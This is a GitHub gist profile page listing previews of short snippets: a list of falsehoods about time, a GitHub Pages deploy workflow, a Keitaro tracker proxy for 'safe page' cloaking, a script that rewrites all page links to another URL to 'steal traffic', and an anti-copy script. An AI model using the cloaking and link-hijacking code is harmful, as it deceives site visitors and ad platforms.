Skip to content

Instantly share code, notes, and snippets.

View hauzlife's full-sized avatar
❤️‍🔥

Hauz hauzlife

❤️‍🔥
  • Matrix
  • World
View GitHub Profile
@hauzlife
hauzlife / falsehoods-programming-time-list.md
Created November 3, 2022 16:15 — forked from timvisee/falsehoods-programming-time-list.md
Falsehoods programmers believe about time, in a single list

Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

  • There are always 24 hours in a day.
  • February is always 28 days long.
  • Any 24-hour period will always begin and end in the same day (or week, or month).
@hauzlife
hauzlife / main.yml
Created March 25, 2022 14:49
Esteira para Angular e Github Pages (gh-pages)
name: Publish
on:
push:
branches:
- master
jobs:
web-deploy:
name: 🎉 Deploy
runs-on: ubuntu-latest
@hauzlife
hauzlife / proxy.php
Created January 20, 2022 20:49 — forked from dvygolov/proxy.php
Full proxy of any simple website for Keitaro Tracker. Use it for safe pages. Description: https://vk.com/@npprteam-nppr-keitaro-curl-polnoe-proksirovanie-saitov-bonus
<?php
// settings
$API_KEY = 'API-KEY';
$SUB_ID = 'sub_id_15';
// main logic
$site = isset($_GET['site']) ? trim(strip_tags($_GET['site'])) : '';
$campaign_id = isset($_GET['campaign_id']) ? trim(strip_tags($_GET['campaign_id'])) : '';
$stream_id = isset($_GET['stream_id']) ? trim(strip_tags($_GET['stream_id'])) : '';
@hauzlife
hauzlife / stealtraffic.js
Created January 20, 2022 20:47 — forked from dvygolov/stealtraffic.js
Скрипт для подмены всех ссылок на странице на вашу
//Подключаем как <script src="stealtraffic.js"></script>
window.onload = function() {
var anchors = document.getElementsByTagName("a");
for (var i = 0; i < anchors.length; i++) {
anchors[i].href = "YOUR_URL_GOES_HERE"
}
}
@hauzlife
hauzlife / protect.js
Created January 20, 2022 20:46 — forked from dvygolov/protect.js
Защита страницы от скачивания: выключем контекстное меню, выделение и Ctrl+S
// Защита страницы - в <head> страницы пишем <script src="protect.js"></script>
window.onload = function(){
document.body.oncontextmenu= function(){return false;};
window.addEventListener('selectstart', function(e){ e.preventDefault(); });
document.addEventListener('keydown',function(e) {
if (e.keyCode == 83 && (navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)) {
e.preventDefault();
e.stopPropagation();
}
},false);